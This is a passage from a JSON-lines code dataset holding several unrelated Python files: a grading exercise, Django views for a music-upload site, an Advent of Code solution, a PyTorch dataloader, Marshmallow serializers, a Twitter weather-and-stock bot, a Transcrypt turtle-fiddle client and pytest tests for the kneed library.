\n","sub_path":"generalStats/plot_request_len.py","file_name":"plot_request_len.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"432371326","text":"import re\n\nname = \"Grade me\"\ndescription = \"Input a decimal score and it outputs a grade\"\n\ndef run_exercise():\n\n grade = input(\"What grade did you get\\n\")\n \n while not re.match(\"^(100)$|^[0-9]{1,2}$|^[0-9]{1,2}\\.+[0-9]+$\",grade):\n grade = input(\"That doesn't seem like a vaild grade please try again\\n\")\n\n grade = float(grade)\n\n if (grade >= 80):\n print(\"You got an A\\nExcellent result\")\n elif(grade >= 70):\n print(\"You got a B\\nVery good\")\n elif(grade >= 60):\n print(\"You got a C\\nGood effort\")\n elif(grade >= 50):\n print(\"You got a D\\nYou achieved a Pass\")\n elif(grade <= 49):\n print(\"You got a U\\nWould you like to book a retake?\")\n valid_inputs = (\"y\",\"n\")\n\n choice = input()\n\n while choice.lower() not in valid_inputs:\n choice = input(\"please enter \\\"Y\\\" or \\\"N\\\"\")\n \n if (choice.lower() == \"y\"):\n print(\"Retake booked for tommorow at 2pm\")\n if (choice.lower() == \"n\"):\n print(\"You will need to book again later\")\n \n","sub_path":"exercises/exercise_6.py","file_name":"exercise_6.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"484912692","text":"from django.shortcuts import render\nfrom icompose.forms import EditProfileForm, UploadSongForm, CommentForm, RatingForm\nfrom icompose.models import UserProfile, Song, Rating, Comment, Genre\nfrom django.contrib.auth.models import User\nfrom django.db.models import Sum, Avg\nfrom django.db import IntegrityError\nfrom django.shortcuts import get_object_or_404\nimport datetime\n\n\ndef index(request):\n \"\"\"\n Page: /\n This is the homepage of iCompose\n\n :param request: HttpRequest object\n :return: HttpResponse object\n \"\"\"\n\n # Load popular uploads. These are the most played uploads.\n (popular_uploads, popular_uploads_more) = get_popular_uploads(5)\n\n # Load popular users. These are the most users which have been played most.\n (popular_users, popular_users_more) = get_popular_users(5)\n\n context_dict = {\n 'popular_uploads': popular_uploads,\n 'popular_uploads_more': popular_uploads_more,\n 'popular_users': popular_users,\n 'popular_users_more': popular_users_more\n }\n return render(request, 'icompose/index.html', context=context_dict)\n\n\ndef user(request, username):\n \"\"\"\n Page: /user/\n Requests to the user page\n\n :param request: HttpRequest object\n :param username: Username of user to view\n :return: HttpResponse object\n \"\"\"\n\n # Get user and userprofile object for username\n (user, userprofile) = get_user_userprofile(username)\n\n # Get top 5 popular uploads and top 5 latest uploads (including boolean flag to determine whether more than\n # 5 uploads are available\n (popular_uploads, popular_uploads_more) = get_user_popular_uploads(userprofile, 5)\n (latest_uploads, latest_uploads_more) = get_user_latest_uploads(userprofile, 5)\n\n context_dict = {\n 'user_view': user,\n 'user_profile': userprofile,\n 'popular_uploads': popular_uploads,\n 'popular_uploads_more': popular_uploads_more,\n 'latest_uploads': latest_uploads,\n 'latest_uploads_more': latest_uploads_more,\n }\n return render(request,\n 'icompose/user.html',\n context_dict)\n\n\ndef user_popular_ajax(request, username):\n \"\"\"\n Page: /user//popularajax/\n Page used for AJAX response to view popular uploads with no limit\n\n :param request: HttpRequest object\n :param username: Username of user to view\n :return: HttpResponse object\n \"\"\"\n\n # Get user and userprofile object for username\n (user, userprofile) = get_user_userprofile(username)\n\n # Get popular uploads\n (popular_uploads, popular_uploads_more) = get_user_popular_uploads(userprofile)\n\n context_dict = {\n 'user_view': user,\n 'user_profile': userprofile,\n 'popular_uploads': popular_uploads,\n 'popular_uploads_more': popular_uploads_more,\n }\n return render(request,\n 'icompose/user_popular_ajax.html',\n context_dict)\n\n\ndef user_latest_ajax(request, username):\n \"\"\"\n Page: /user//latestajax/\n Page used for AJAX response to view latest uploads with no limit\n\n :param request: HttpRequest object\n :param username: Username of user to view\n :return: HttpResponse object\n \"\"\"\n\n # Get user and userprofile object for username\n (user, userprofile) = get_user_userprofile(username)\n\n # Get latest uploads\n (latest_uploads, latest_uploads_more) = get_user_latest_uploads(userprofile)\n\n context_dict = {\n 'user_view': user,\n 'user_profile': userprofile,\n 'latest_uploads': latest_uploads,\n 'latest_uploads_more': latest_uploads_more,\n }\n return render(request,\n 'icompose/user_latest_ajax.html',\n context_dict)\n\n\ndef play(request, username, song_slug):\n \"\"\"\n Page: /user//play//\n Requests to the play page\n\n :param request: HttpRequest object\n :param username: Username of user to view\n :param song_slug: Slug of song to view\n :return: HttpResponse object\n \"\"\"\n\n # Variable used if an alert should be displayed\n alert = None\n\n # Get user and userprofile object for username\n user = get_object_or_404(User, username=username)\n user_profile = get_object_or_404(UserProfile, user=user)\n\n # Get current user and current user profile object for currently logged in user\n if request.user.is_authenticated():\n \n current_user = request.user\n current_user_profile = UserProfile.objects.get(user=current_user)\n\n # Otherwise, current user is None\n else:\n current_user = None\n current_user_profile = None\n\n # Get song object\n song = get_object_or_404(Song, slug=song_slug)\n\n # Get comments\n comments = Comment.objects.filter(song=song).order_by('-dateCommented')\n\n # If a form has been submitted\n if request.method == 'POST':\n\n # Attempt to parse posted data as comment form\n comment_form = CommentForm(request.POST)\n\n # If it was the comment form that was posted, and it is valid\n if comment_form.is_valid():\n\n # Get comment from posted data\n comment_value = comment_form.cleaned_data['comment']\n\n # Add comment\n comment_object = Comment.objects.create(user=current_user_profile, song=song, comment=comment_value, dateCommented=datetime.datetime.now())\n\n # Output a success alert\n alert = {\"type\": \"success\", \"title\": \"Success!\", \"message\": \"You have successfully commented on this song!\"}\n\n # Setup rating form and clear values in comment form\n rating_form = RatingForm()\n comment_form = CommentForm()\n\n # Otherwise, attempt to parse the rating\n else:\n\n # Attempt to parse posted data as rating form\n rating_form = RatingForm(request.POST)\n\n # If it was the rating form that was posted, and it is valid\n if rating_form.is_valid():\n\n # Get rating from posted data\n rating_value = rating_form.cleaned_data['rating']\n\n # Create new instance of rating\n try:\n rating_object = Rating.objects.create(user=current_user_profile, song=song, value=rating_value)\n\n # Output a success alert\n alert = {\"type\": \"success\", \"title\": \"Success!\", \"message\": \"You have successfully rated this song!\"}\n\n # Catch an integrity error if song has already been rated\n except IntegrityError as e:\n\n # Update existing rating\n rating_object = Rating.objects.get(user=current_user_profile, song=song)\n rating_object.value = rating_value\n rating_object.save()\n\n # Output a success alert\n alert = {\"type\": \"success\", \"title\": \"Success!\", \"message\": \"You have successfully updated your rating!\"}\n\n # Setup comment form\n comment_form = CommentForm()\n\n # Otherwise, no form has been submitted so get blank forms for display\n else:\n\n # Increase play count\n song.plays += 1\n song.save()\n\n comment_form = CommentForm()\n rating_form = RatingForm()\n\n # Get rating of song by working out AVERAGE\n rating = get_song_rating(song)\n\n context_dict = {\n 'user_view': user,\n 'user_profile': user_profile,\n 'song': song,\n 'comments': comments,\n 'rating': rating,\n 'comment_form' : comment_form,\n 'rating_form': rating_form,\n 'alert': alert,\n }\n return render(request,\n 'icompose/play.html',\n context_dict)\n\n\ndef browse(request):\n \"\"\"\n Page: /browse/\n Page to browse popular uploads, popular users and genres\n\n :param request: HttpRequest object\n :return: HttpResponse object\n \"\"\"\n\n return render(request,\n 'icompose/browse.html')\n\n\ndef browse_genres(request):\n\n \"\"\"\n Page: /browse/genre/\n Page to view all genres\n\n :param request: HttpRequest object\n :return: HttpResponse object\n \"\"\"\n\n # Get all genres\n genres = Genre.objects.order_by('name')\n\n context_dict = {\n 'genres': genres,\n }\n return render(request,\n 'icompose/browse_genres.html',\n context_dict)\n\n\ndef browse_genre(request, genre_slug):\n \"\"\"\n Page: /browse/genre//\n Page to view uploads of a specific genre\n\n :param request: HttpRequest object\n :param genre_slug: Slug of genre to view\n :return: HttpResponse object\n \"\"\"\n\n # Get genre object\n genre = Genre.objects.get(slug=genre_slug)\n\n # Get uploads\n uploads = Song.objects.filter(genre=genre).order_by('-plays')\n\n # For each upload, add rating\n for upload in uploads:\n upload.rating = get_song_rating(upload)\n\n context_dict = {\n 'genre': genre,\n 'genre_slug': genre_slug,\n 'uploads': uploads,\n }\n return render(request,\n 'icompose/browse_genre.html',\n context_dict)\n\n\ndef browse_popular_uploads(request):\n \"\"\"\n Page: /browse/popularuploads/\n View popular uploads with no limit\n\n :param request: HttpRequest object\n :return: HttpResponse object\n \"\"\"\n (popular_uploads, popular_uploads_more) = get_popular_uploads()\n context_dict = {\n 'uploads': popular_uploads,\n }\n return render(request,\n 'icompose/browse_popular_uploads.html',\n context_dict)\n\n\ndef browse_popular_uploads_ajax(request):\n \"\"\"\n Page: /browse/popularuploads/ajax/\n View table of popular uploads with no limit\n\n :param request: HttpRequest object\n :return: HttpResponse object\n \"\"\"\n (popular_uploads, popular_uploads_more) = get_popular_uploads()\n context_dict = {\n 'uploads': popular_uploads,\n }\n return render(request,\n 'icompose/browse_popular_uploads_ajax.html',\n context_dict)\n\n\ndef browse_popular_users(request):\n \"\"\"\n Page: /browse/popularusers/\n View popular users with no limit\n\n :param request: HttpRequest object\n :return: HttpResponse object\n \"\"\"\n (popular_users, popular_users_more) = get_popular_users()\n context_dict = {\n 'popular_users': popular_users,\n }\n return render(request,\n 'icompose/browse_popular_users.html',\n context_dict)\n\n\ndef browse_popular_users_ajax(request):\n \"\"\"\n Page: /browse/popularusers/ajax/\n View popular users with no limit\n\n :param request: HttpRequest object\n :return: HttpResponse object\n \"\"\"\n (popular_users, popular_users_more) = get_popular_users()\n context_dict = {\n 'popular_users': popular_users,\n }\n return render(request,\n 'icompose/browse_popular_users_ajax.html',\n context_dict)\n\n\ndef account(request):\n \"\"\"\n Page: /account/\n View links to different pages to do with the user account.\n\n :param request: HttpRequest object\n :return: HttpResponse object\n \"\"\"\n return render(request,\n 'icompose/account.html')\n\n\ndef edit_profile(request):\n \"\"\"\n Page: /account/editprofile/\n Page to allow user to edit their profile.\n\n :param request: HttpRequest object\n :return: HttpResponse object\n \"\"\"\n\n # Variable used if an alert should be displayed\n alert = None\n\n # Get current user and current user profile object for currently logged in user\n current_user = request.user\n current_user_profile = UserProfile.objects.get(user=current_user)\n\n # If form has been submitted\n if request.method == 'POST':\n\n # Attempt to parse form data\n form = EditProfileForm(request.POST, instance=current_user_profile)\n\n # If it was the edit profile dorm form that was posted, and it is valid\n if form.is_valid():\n\n # Save form data with additional user attribute\n user = form.save()\n profile = form.save(commit = False)\n profile.user = request.user\n\n # If the picture is in the files, put it into the profile object\n if 'picture' in request.FILES:\n profile.picture = request.FILES['picture']\n\n # Save the profile\n profile.save()\n\n # Output alert to tell the user they were successful\n alert = {\"type\": \"success\", \"title\": \"Success!\", \"message\": \"You have successfully updated your profile!\"}\n\n # Otherwise, display the edit form for the current user\n else:\n form = EditProfileForm(instance=current_user_profile)\n\n return render(request, 'icompose/account_edit_profile.html', {'form':form, 'alert':alert})\n\n\ndef upload_song(request):\n \"\"\"\n Page: /account/upload/\n Allows the user to upload a new song\n\n :param request: HttpRequest object\n :return: HttpResponse object\n \"\"\"\n\n # Variable used if an alert should be displayed\n alert = None\n\n current_user = request.user\n current_user_profile = UserProfile.objects.get(user=current_user)\n\n # If form has been submitted\n if request.method == 'POST':\n form = UploadSongForm(request.POST, request.FILES)\n if form.is_valid():\n try:\n song_object = form.save(commit=False)\n song_object.user = current_user_profile\n song_object.save()\n alert = {\"type\": \"success\", \"title\": \"Success!\", \"message\": \"You have successfully uploaded this song!\"}\n\n # If song has already been uploaded with this slug, output error\n except IntegrityError as e:\n alert = {\"type\": \"danger\", \"title\": \"Error!\",\n \"message\": \"You have already uploaded a song with a name like this.\"}\n\n else:\n alert = {\"type\": \"danger\", \"title\": \"Error!\", \"message\": \"An error occurred uploading this song.\"}\n\n # Otherwise, use blank form\n else:\n form = UploadSongForm()\n\n return render(request, 'icompose/upload_song.html', {'form':form, 'alert':alert})\n\n\ndef about(request):\n \"\"\"\n Page: /about/\n View details about iCompose\n\n :param request: HttpRequest object\n :return: HttpResponse object\n \"\"\"\n return render(request,'icompose/about.html')\n\n\ndef FAQ(request):\n \"\"\"\n Page: /FAQ/\n View frequently asked questions about iCompose\n\n :param request: HttpRequest object\n :return: HttpResponse object\n \"\"\"\n return render(request,'icompose/FAQ.html')\n\n\n#############################################\n# Helper functions\n\n\ndef get_user_userprofile(username):\n \"\"\"\n Gets object representing user and userprofile from username\n\n :param username:\n :return:(user, userprofile)\n \"\"\"\n user = get_object_or_404(User, username=username)\n userprofile = get_object_or_404(UserProfile, user=user)\n return (user, userprofile)\n\n\ndef get_song_rating(song):\n \"\"\"\n Get rating of song by working out average of all ratings\n\n :param song: Song object\n :return: Song rating\n \"\"\"\n rating_array = Rating.objects.filter(song=song).annotate()\n if (rating_array.count() > 0):\n rating = 0\n for rating_item in rating_array:\n rating = rating + rating_item.value\n rating = rating / rating_array.count()\n else:\n rating = \"-\"\n return rating\n\n\ndef get_popular_uploads(limit=-1):\n \"\"\"\n Gets popular uploads\n :return: Popular upload objects\n \"\"\"\n\n # Load popular uploads. These are the most played uploads.\n popular_uploads = Song.objects.order_by('-plays')\n\n # If uploads are limited\n if(limit>=0):\n\n # Boolean for whether more than 5 uploads are available\n popular_uploads_more = (popular_uploads.count() > 5)\n\n # Only output top 5 popular uploads\n popular_uploads = popular_uploads[:5]\n\n # Otherwise, no more uploads\n else:\n popular_uploads_more = False\n\n # For each upload, add rating\n for upload in popular_uploads:\n upload.rating = get_song_rating(upload)\n\n return popular_uploads, popular_uploads_more\n\n\ndef get_popular_users(limit=-1):\n \"\"\"\n Gets popular users\n :return: Popular users objects\n \"\"\"\n\n # Load popular users. These are the most users which have been played most.\n popular_users = Song.objects.values('user').annotate(total_plays=Sum('plays')).order_by('-total_plays')\n\n # If uploads are limited\n if (limit >= 0):\n\n # Boolean for whether more than 5 users are available\n popular_users_more = (popular_users.count() > 5)\n\n # Only output top 5 popular users\n popular_users = popular_users[:5]\n\n # Otherwise, no more uploads\n else:\n popular_users_more = False\n\n # Go through each user to get more details\n for popular_user in popular_users:\n\n # Get date of last uploaded song\n popular_user[\"last_upload\"] = Song.objects.filter(user=popular_user[\"user\"]).order_by('-plays')[\n 0].__getattribute__(\"dateUploaded\")\n\n # Replace user primary key with user object\n popular_user[\"user\"] = User.objects.get(pk=popular_user[\"user\"])\n\n return popular_users, popular_users_more\n\n\ndef get_user_popular_uploads(userprofile, limit=-1):\n \"\"\"\n Gets popular uploads of user\n\n :param userprofile: Profile of user to use\n :param limit: Limit results\n :return: (popular_uploads, popular_uploads_more)\n \"\"\"\n\n # Load popular uploads. These are the top most played uploads.\n popular_uploads = Song.objects.filter(user=userprofile).order_by('-plays')\n\n # If uploads should be limited\n if limit>=0:\n\n # Boolean for whether more than 5 uploads are available\n popular_uploads_more = (popular_uploads.count() > limit)\n\n # Only output top 5 popular uploads\n popular_uploads = popular_uploads[:limit]\n\n # Otherwise, no more uploads\n else:\n popular_uploads_more = False\n\n # For each popular upload, add rating\n for upload in popular_uploads:\n upload.rating = get_song_rating(upload)\n\n return popular_uploads, popular_uploads_more\n\n\ndef get_user_latest_uploads(userprofile, limit=-1):\n \"\"\"\n Gets latest uploads of user\n\n :param userprofile: Profile of user to use\n :param limit: Limit results\n :return: (latest_uploads, latest_uploads_more)\n \"\"\"\n\n # Load latest uploads\n latest_uploads = Song.objects.filter(user=userprofile).order_by('-dateUploaded')\n\n # If uploads should be limited\n if limit>=0:\n\n # Boolean for whether more than 5 uploads are available\n latest_uploads_more = (latest_uploads.count() > 5)\n\n # Only output top 5 latest uploads\n latest_uploads = latest_uploads[:5]\n\n # Otherwise, no more uploads\n else:\n latest_uploads_more = False\n\n # For each latest upload, add rating\n for upload in latest_uploads:\n upload.rating = get_song_rating(upload)\n\n return latest_uploads, latest_uploads_more","sub_path":"icompose/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":19032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"385808666","text":"import networkx\nimport collections\n\nt = \"\"\"\n#########\n#b.A.@.a#\n#########\n\"\"\".strip()\n\nt = t.split(\"\\n\")\n\ndef find_stuff(chart):\n start = None\n paths = set([])\n keys = {}\n doors = {}\n for y, row in enumerate(chart):\n for x, col in enumerate(row):\n if col == \"#\":\n continue\n paths.add((x, y))\n if col == \"@\":\n start = (x, y)\n elif col.isupper():\n doors[(x, y)] = col\n elif col.islower():\n keys[(x, y)] = col\n return start, paths, keys, doors\n\n\nheight = len(t)\nwidth = len(t[0])\n\ngraph = networkx.Graph()\n\nunlocked = set([])\n\nnext_level = set([])\ntodo = []\nvisited = set([])\n\nt = \"\"\"\n#########\n#b.A.@.a#\n#########\n\"\"\".strip()\n\nt = \"\"\"\n#################\n#i.G..c...e..H.p#\n########.########\n#j.A..b...f..D.o#\n########@########\n#k.E..a...g..B.n#\n########.########\n#l.F..d...h..C.m#\n#################\n\"\"\".strip()\n\nt = t.split(\"\\n\")\n\nstart, paths, keys, doors = find_stuff(t)\n\ngraph = networkx.Graph()\nfor (x, y) in paths:\n if (x + 1, y) in paths:\n graph.add_edge((x, y), (x + 1, y))\n if (x - 1, y) in paths:\n graph.add_edge((x, y), (x - 1, y))\n if (x, y + 1) in paths:\n graph.add_edge((x, y), (x, y + 1))\n if (x, y - 1) in paths:\n graph.add_edge((x, y), (x, y - 1))\n\nshortest_path = networkx.algorithms.shortest_paths.generic.shortest_path\n\nfrom itertools import permutations\n\ndef genstuff(g1, g, unl, deps):\n r = []\n for n, d in deps.items():\n if all(x in unl for x in d):\n r.append(n)\n\n for n in r:\n unl.add(n)\n\n unl2 = unl.copy()\n for a, b in permutations(r, 2):\n sp = shortest_path(g1, a, b)\n g.add_edge(a, b, sp)\n\n\ndef make_graph(g1, g, curpos):\n fkeys = []\n fdoors = []\n deps = {}\n dist = {}\n for pos, label in keys.items():\n deps[pos] = []\n sp = shortest_path(graph, curpos, pos)\n dist[pos] = sp\n for n in sp:\n if n in doors:\n deps[pos].append(n)\n\n genstuff(g1, g, set([]), deps)\n\ngraph2 = networkx.DiGraph()\nt = make_graph(graph, graph2, start)\n","sub_path":"2019/python/day18.py","file_name":"day18.py","file_ext":"py","file_size_in_byte":2153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"251753867","text":"import os\nimport sys\n\nimport torch\nimport torch.utils.data as data\n\nimport numpy as np\nfrom PIL import Image\nimport glob\nimport random\nimport cv2\n\nrandom.seed(1143)\n\n\ndef populate_train_list(orig_images_path, hazy_images_path):\n train_list = []\n val_list = []\n\n # image_list_haze = glob.glob(hazy_images_path + \"*\")\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#路径匹配\n # for i3-SSIM-室外合成 in range(len(image_list_haze)):\n # \timage_list_haze[i3-SSIM-室外合成]=image_list_haze[i3-SSIM-室外合成].replace(\"\\\\\",\"/\")\n image_list_haze_index = os.listdir(hazy_images_path) # 文件名\n image_dataset = []\n for i in image_list_haze_index: # 添加路径,并组合为元组\n image_dataset.append((orig_images_path + i, hazy_images_path + i))\n train_list = image_dataset[:8000]\n val_list = image_dataset[12000:12100]\n\n return train_list, val_list\n\n\nclass dehazing_loader(data.Dataset):\n\n def __init__(self, orig_images_path, hazy_images_path, mode='train'):\n\n self.train_list, self.val_list = populate_train_list(orig_images_path, hazy_images_path)\n\n if mode == 'train':\n self.data_list = self.train_list\n print(\"Total training examples:\", len(self.train_list))\n else:\n self.data_list = self.val_list\n print(\"Total validation examples:\", len(self.val_list))\n\n def __getitem__(self, index):\n\n data_orig_path, data_hazy_path = self.data_list[index]\n\n data_orig = Image.open(data_orig_path)\n data_hazy = Image.open(data_hazy_path)\n\n data_orig = data_orig.resize((640, 480), Image.ANTIALIAS)\n data_hazy = data_hazy.resize((640, 480), Image.ANTIALIAS)\n\n data_orig = (np.asarray(data_orig) / 255.0)\n data_hazy = (np.asarray(data_hazy) / 255.0)\n\n data_orig = torch.from_numpy(data_orig).float()\n data_hazy = torch.from_numpy(data_hazy).float()\n\n return data_orig.permute(2, 0, 1), data_hazy.permute(2, 0, 1)\n\n def __len__(self):\n return len(self.data_list)\n\n","sub_path":"dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":2028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"147259770","text":"'''\nTo render our model instances to JSON in our responses, we first need to convert them into native Python datatypes.\nFlask-RESTful can do this using the fields module and the marshal_with() decorator\n(more info here - http://flask-restful.readthedocs.org/en/latest/quickstart.html#data-formatting).\nI didn't knew that Flask-RESTful supports this when I started building the\nREST API so I ended up using Marshmallow http://marshmallow.readthedocs.org/en/latest/ .\n'''\nfrom marshmallow import Serializer, fields\n\nclass UserSerializer(Serializer):\n class Meta:\n fields = (\"id\", \"email\")\n\nclass PostSerializer(Serializer):\n user = fields.Nested(UserSerializer)\n\n class Meta:\n fields = (\"id\", \"title\", \"body\", \"user\", \"created_at\")\n","sub_path":"server/app/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"498749769","text":"from bs4 import BeautifulSoup\nimport datetime\nimport emoji\nfrom os import environ\nfrom time import sleep\nimport tweepy\nimport requests\n\nCONSUMER_KEY = environ['CONSUMER_KEY']\nCONSUMER_SECRET = environ['CONSUMER_SECRET']\nACCESS_TOKEN = environ['ACCESS_TOKEN']\nACCESS_TOKEN_KEY = environ['ACCESS_TOKEN_KEY']\nDARKSKY_KEY = enciron['DARKSKY_KEY']\n\naccount = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)\naccount.set_access_token(ACCESS_TOKEN, ACCESS_TOKEN_KEY)\nbot = tweepy.API(account)\n\ndef web_crawl(url):\n response = requests.get(url)\n html = response.content\n soup = BeautifulSoup(html, \"html.parser\")\n return str(soup.find(\"td\", class_=\"value-price\").text)\n\ndef weatherstatus(url):\n data = requests.get(url).json() # data holds the JSON data.\n high_temp = data['daily']['data'][0]['temperatureMax']\n return str(high_temp)\n\nweb = \"https://www.investopedia.com/markets/stocks/tsla/\"\nurl = \"https://api.darksky.net/forecast/\" + DARKSKY_KEY + \"/28.6024, 81.2001\"\n\nwhile True:\n try:\n message_stock = web_crawl(web)\n message_weather = weatherstatus(url)\n bot.update_status(\"Good morning Neo! \" + emoji.emojize(':sun:') + \"\\nThe weather today in Orlando will reach a high of \" + message_weather + chr(176) + \".\" + \"\\nTSLA stock price is currently at $\" + message_stock)\n sleep(3600)\n except tweepy.TweepError as e:\n print(e.response)\n sleep(20)\n","sub_path":"Bot.py","file_name":"Bot.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"34406037","text":"__pragma__ ('alias', 'jq', '$')\r\n__pragma__ ('noalias', 'clear')\r\n\r\n# For use by eval'ed turtle applet\r\nimport turtle\r\nimport random\r\nimport math\r\n\r\ndef clear ():\r\n editor.setValue ('')\r\n turtle.reset ()\r\n run ()\r\n \r\ndef run ():\r\n def success (result):\r\n global random\r\n \r\n turtle.reset ()\r\n rnd = random # Save reference to random module from being overwritten\r\n eval (result)\r\n random = rnd # Restore reference to random module\r\n \r\n def fail (a, b, c):\r\n print ('Run error:', a, b, c)\r\n\r\n # N.B. The request has to be explicitly encoded, but the response is already implicitly decoded\r\n jq.ajax ({\r\n 'url':'http://www.tsfiddle.org/compile',\r\n 'type': 'POST',\r\n 'data': JSON.stringify (editor.getValue ()),\r\n 'dataType': 'json',\r\n 'contentType': 'application/json',\r\n 'success': success,\r\n 'fail': fail\r\n })\r\n \r\ndef mail ():\r\n def success (result):\r\n print (result)\r\n \r\n def fail (a, b, c):\r\n print ('Run error:', a, b, c)\r\n \r\n jq.ajax ({\r\n 'url':'http://www.sfiddle.org/mail',\r\n 'type': 'POST',\r\n 'data': JSON.stringify ([document.getElementById ('mail_address') .value, editor.getValue ()]),\r\n 'dataType': 'json',\r\n 'contentType': 'application/json',\r\n 'success': success,\r\n 'fail': fail\r\n })\r\n \r\ndef selectExample ():\r\n def success (result):\r\n editor.setValue (result [0])\r\n turtle.reset () # Using old paths\r\n window.terminate = True\r\n console.log (result [1])\r\n eval (result [1]) # Using new paths (so cannot clear old result)\r\n \r\n def fail (a, b, c):\r\n print ('Select example error:', a, b, c)\r\n \r\n selector = document.getElementById ('select_example')\r\n \r\n jq.ajax ({\r\n 'url':'http://www.tsfiddle.org/example',\r\n 'type': 'POST',\r\n 'data': JSON.stringify (selector.options [selector.selectedIndex] .value),\r\n 'dataType': 'json',\r\n 'contentType': 'application/json',\r\n 'success': success,\r\n 'fail': fail\r\n })\r\n \r\nselectExample ()\r\n\r\n ","sub_path":"tsfiddle.org/static/live/turtle_site/__target__/turtle_site.py","file_name":"turtle_site.py","file_ext":"py","file_size_in_byte":2196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"467555793","text":"import math\nimport numpy as np\nimport pytest\nfrom kneed.data_generator import DataGenerator\nfrom kneed.knee_locator import KneeLocator\n\nx = np.arange(0, 10)\ny_convex_inc = np.array([1, 2, 3, 4, 5, 10, 15, 20, 40, 100])\ny_convex_dec = np.array(y_convex_inc[::-1])\ny_concave_dec = np.array(100 - y_convex_inc)\ny_concave_inc = np.array(100 - y_convex_dec)\nx_bumpy = list(range(90))\ny_bumpy = [7305., 6979., 6666.6, 6463.2, 6326.5, 6048.8, 6032.8, 5762.,\n 5742.8, 5398.2, 5256.8, 5227., 5001.7, 4942., 4854.2, 4734.6,\n 4558.7, 4491.1, 4411.6, 4333., 4234.6, 4139.1, 4056.8, 4022.5,\n 3868., 3808.3, 3745.3, 3692.3, 3645.6, 3618.3, 3574.3, 3504.3,\n 3452.4, 3401.2, 3382.4, 3340.7, 3301.1, 3247.6, 3190.3, 3180.,\n 3154.2, 3089.5, 3045.6, 2989., 2993.6, 2941.3, 2875.6, 2866.3,\n 2834.1, 2785.1, 2759.7, 2763.2, 2720.1, 2660.1, 2690.2, 2635.7,\n 2632.9, 2574.6, 2556., 2545.7, 2513.4, 2491.6, 2496., 2466.5,\n 2442.7, 2420.5, 2381.5, 2388.1, 2340.6, 2335., 2318.9, 2319.,\n 2308.2, 2262.2, 2235.8, 2259.3, 2221., 2202.7, 2184.3, 2170.1,\n 2160., 2127.7, 2134.7, 2102., 2101.4, 2066.4, 2074.3, 2063.7,\n 2048.1, 2031.9]\n\n\n@pytest.mark.parametrize(\"interp_method\", ['interp1d', 'polynomial'])\ndef test_figure2(interp_method):\n \"\"\"From the kneedle manuscript\"\"\"\n DG = DataGenerator()\n x, y = DG.figure2()\n kl = KneeLocator(x, y, S=1.0, curve='concave', interp_method=interp_method)\n assert math.isclose(kl.knee, 0.22, rel_tol=0.05)\n\n\n@pytest.mark.parametrize(\"interp_method\", ['interp1d', 'polynomial'])\ndef test_NoisyGaussian(interp_method):\n \"\"\"From the Kneedle manuscript\"\"\"\n DG = DataGenerator()\n x, y = DG.noisy_gaussian(mu=50, sigma=10, N=10000)\n kl = KneeLocator(x, y, S=1.0, curve='concave', interp_method=interp_method)\n assert math.isclose(kl.knee, 60.5, rel_tol=7.0)\n\n\n@pytest.mark.parametrize(\"interp_method\", ['interp1d', 'polynomial'])\ndef test_concave_increasing(interp_method):\n \"\"\"test a concave increasing function\"\"\"\n kn = KneeLocator(x, y_concave_inc, curve='concave', interp_method=interp_method)\n assert kn.knee == 2\n\n\n@pytest.mark.parametrize(\"interp_method\", ['interp1d', 'polynomial'])\ndef test_concave_decreasing(interp_method):\n \"\"\"test a concave decreasing function\"\"\"\n kn = KneeLocator(x, y_concave_dec, curve='concave',\n direction='decreasing', interp_method=interp_method)\n assert kn.knee == 7\n\n\n@pytest.mark.parametrize(\"interp_method\", ['interp1d', 'polynomial'])\ndef test_convex_increasing(interp_method):\n \"\"\"test a convex increasing function\"\"\"\n kn = KneeLocator(x, y_convex_inc, curve='convex', interp_method=interp_method)\n assert kn.knee == 7\n\n\n@pytest.mark.parametrize(\"interp_method\", ['interp1d', 'polynomial'])\ndef test_convex_decreasing(interp_method):\n \"\"\"test a convex decreasing function\"\"\"\n kn = KneeLocator(x, y_convex_dec, curve='convex',\n direction='decreasing', interp_method=interp_method)\n assert kn.knee == 2\n\n\n@pytest.mark.parametrize(\"interp_method\", ['interp1d', 'polynomial'])\ndef test_concave_increasing_truncated(interp_method):\n \"\"\"test a truncated concave increasing function\"\"\"\n kn = KneeLocator(x[:-3] / 10, y_concave_inc[:-3] / 10,\n curve='concave', interp_method=interp_method)\n assert kn.knee == 0.2\n\n\n@pytest.mark.parametrize(\"interp_method\", ['interp1d', 'polynomial'])\ndef test_concave_decreasing_truncated(interp_method):\n \"\"\"test a truncated concave decreasing function\"\"\"\n kn = KneeLocator(x[:-3] / 10, y_concave_dec[:-3] / 10,\n curve='concave', direction='decreasing', interp_method=interp_method)\n assert kn.knee == 0.4\n\n\n@pytest.mark.parametrize(\"interp_method\", ['interp1d', 'polynomial'])\ndef test_convex_increasing_truncated(interp_method):\n \"\"\"test a truncated convex increasing function\"\"\"\n kn = KneeLocator(x[:-3] / 10, y_convex_inc[:-3] / 10,\n curve='convex', interp_method=interp_method)\n assert kn.knee == 0.4\n\n\n@pytest.mark.parametrize(\"interp_method\", ['interp1d', 'polynomial'])\ndef test_convex_decreasing_truncated(interp_method):\n \"\"\"test a truncated convex decreasing function\"\"\"\n kn = KneeLocator(x[:-3] / 10, y_convex_dec[:-3] / 10,\n curve='convex', direction='decreasing', interp_method=interp_method)\n assert kn.knee == 0.2\n\n\n@pytest.mark.parametrize(\"interp_method, expected\", [\n ('interp1d', 53),\n 